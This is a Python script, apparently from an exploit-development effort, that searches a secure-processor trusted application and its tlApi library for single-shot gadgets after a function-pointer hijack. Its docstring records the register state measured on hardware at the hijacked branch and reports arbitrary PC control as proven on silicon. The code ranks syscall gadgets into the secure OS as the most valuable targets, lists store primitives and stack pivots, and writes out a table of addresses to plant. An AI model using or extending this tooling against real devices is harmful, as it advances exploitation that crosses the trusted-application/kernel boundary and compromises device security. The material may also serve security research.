#!/usr/bin/env python3 """Catalogue of ONE-SHOT gadgets for the GCP fn-ptr hijack. Single-shot arbitrary PC is the proven primitive (7 values carved + oracle-verified + executed on silicon). Chaining is blocked (Add.113/116/118), so the useful question is not "what pops pc" but "what does one instruction sequence ACHIEVE from the measured entry state". Entry state at the hijacked `bx ip` (Add.95, measured on hardware): r0 = sp = 0x41bf70 r1 = r2 = r3 = 0 r4 = 0x41d030 (ctx) r5 = 0x41bf70 r6..r11 = 0 ip = the planted value lr = 0x00405617 sp = 0x41bf70 cpsr: N=0 Z=1 C=1 V=0, USR mode, ITSTATE=0 Condition codes that EXECUTE under those flags: al eq cs/hs pl vc ls ge le Condition codes that are SKIPPED: ne cc/lo mi vs hi lt gt Classes emitted, in descending order of interest for a single shot: SVC -- a syscall into sOS with semi-controlled arguments: the only class that crosses the TA/kernel boundary, so the highest-value one-shot target STORE -- a write primitive with a computed target and value, often reaching further than our existing primitives (imm12 off r4 covers ctx+0..0xfff) LOAD_SP -- sets SP from memory (stack pivot), listed for completeness CALL -- enters a real function with r0 = &requestBlock and r4 = ctx """ import glob, struct, sys, collections from capstone import * from capstone.arm import ARM_OP_MEM, ARM_OP_REG ENTRY = {"r0":0x41bf70,"r1":0,"r2":0,"r3":0,"r4":0x41d030,"r5":0x41bf70,"r6":0,"r7":0, "r8":0,"r9":0,"sb":0,"r10":0,"sl":0,"r11":0,"fp":0,"sp":0x41bf70,"lr":0x00405617} EXEC_CC = {"","al","eq","cs","hs","pl","vc","ls","ge","le"} CCS = ("eq","ne","cs","hs","cc","lo","mi","pl","vs","vc","hi","ls","ge","lt","gt","le") def cc_of(m): for c in CCS: if m.endswith(c) and len(m) > len(c): return c return "" def regions(): g = glob.glob('psp_out/versions_win/ta_22-0-0-77_*.bin')[0] out = [(open(g,'rb').read(), 0x400100, "gcp")] lib = 'fw/gadgets/tlapi_lib_0xf00000.bin' try: out.append((open(lib,'rb').read(), 0xf00000, "tlapi")) except Exception: pass return out def whereis(a): for lo,hi,n in ((0x400000,0x407000,"code R-X"),(0x407000,0x417000,".bss RW XN"), (0x418000,0x41c000,"stack RW XN"),(0x41d000,0x421000,"heap RW XN"), (0x422000,0x423000,"procpage RW XN"),(0xf00000,0xf01000,"tlapi R-X")): if lo <= a < hi: return n return "UNMAPPED" res = collections.defaultdict(list) for blob, base, tag in regions(): for mode, step, md in ((CS_MODE_THUMB,2,Cs(CS_ARCH_ARM,CS_MODE_THUMB)), (CS_MODE_ARM,4,Cs(CS_ARCH_ARM,CS_MODE_ARM))): md.detail = True mname = "T" if mode == CS_MODE_THUMB else "A" hi_exec = 0x407000 if tag == "gcp" else 0xf01000 for off in range(0, len(blob)-8, step): va = base + off if va >= hi_exec: break # beyond R-X: .data/.bss, never executable try: ins = list(md.disasm(blob[off:off+12], va, count=2)) except Exception: continue if not ins: continue i = ins[0] if cc_of(i.mnemonic) not in EXEC_CC: continue plant = va | (1 if mode == CS_MODE_THUMB else 0) txt = "%s %s" % (i.mnemonic, i.op_str) nxt = ("%s %s" % (ins[1].mnemonic, ins[1].op_str)) if len(ins) > 1 else "" if i.mnemonic.startswith("svc"): res["SVC"].append((plant, mname, tag, txt, nxt, i.op_str)) continue ops = i.operands if i.mnemonic.startswith(("str","stm")) and len(ops) >= 2: m = [o for o in ops if o.type == ARM_OP_MEM] if m: mm = m[0].mem bn = i.reg_name(mm.base) if mm.base else None if bn in ENTRY and mm.index == 0: tgt = (ENTRY[bn] + mm.disp) & 0xFFFFFFFF srcs = [i.reg_name(o.reg) for o in ops if o.type == ARM_OP_REG] sv = ENTRY.get(srcs[0]) if srcs and srcs[0] in ENTRY else None res["STORE"].append((plant, mname, tag, txt, nxt, bn, tgt, srcs[0] if srcs else "?", sv)) continue if i.op_str.split(",")[0].strip() == "sp" and "[" in i.op_str: res["LOAD_SP"].append((plant, mname, tag, txt, nxt, "")) continue if i.mnemonic.startswith(("bl","blx")) and i.op_str.startswith("#"): try: t = int(i.op_str.lstrip("#"), 0) except Exception: continue res["CALL"].append((plant, mname, tag, txt, nxt, t)) print("one-shot gadget catalogue, GCP 22.0.0.77 + tlApi page") for k in ("SVC","STORE","LOAD_SP","CALL"): print(" %-8s %d" % (k, len(res[k]))) import json with open('fw/gadgets/ONESHOT-GADGETS.md','w') as f: f.write(__doc__ + "\n\n") f.write("## SVC gadgets -- the only class that crosses into sOS (%d)\n\n" % len(res["SVC"])) f.write("plant this value | mode | insn | next insn\n---|---|---|---\n") seen = set() for plant,mn,tag,txt,nxt,imm in sorted(res["SVC"]): if (txt,nxt) in seen and len(seen) > 400: continue seen.add((txt,nxt)) f.write("`%#010x` | %s %s | `%s` | `%s`\n" % (plant,mn,tag,txt,nxt)) f.write("\n## STORE gadgets with a COMPUTED target (%d)\n\n" % len(res["STORE"])) f.write("plant | mode | insn | writes | to | region\n---|---|---|---|---|---\n") for plant,mn,tag,txt,nxt,bn,tgt,src,sv in sorted(res["STORE"]): f.write("`%#010x` | %s %s | `%s` | %s | `%#010x` | %s\n" % (plant,mn,tag,txt, ("%#010x"%sv) if sv is not None else src, tgt, whereis(tgt))) f.write("\n## LOAD_SP (stack pivots) (%d)\n\n" % len(res["LOAD_SP"])) for plant,mn,tag,txt,nxt,_ in sorted(res["LOAD_SP"]): f.write("- `%#010x` %s %s `%s` ; `%s`\n" % (plant,mn,tag,txt,nxt)) print("\nwrote fw/gadgets/ONESHOT-GADGETS.md")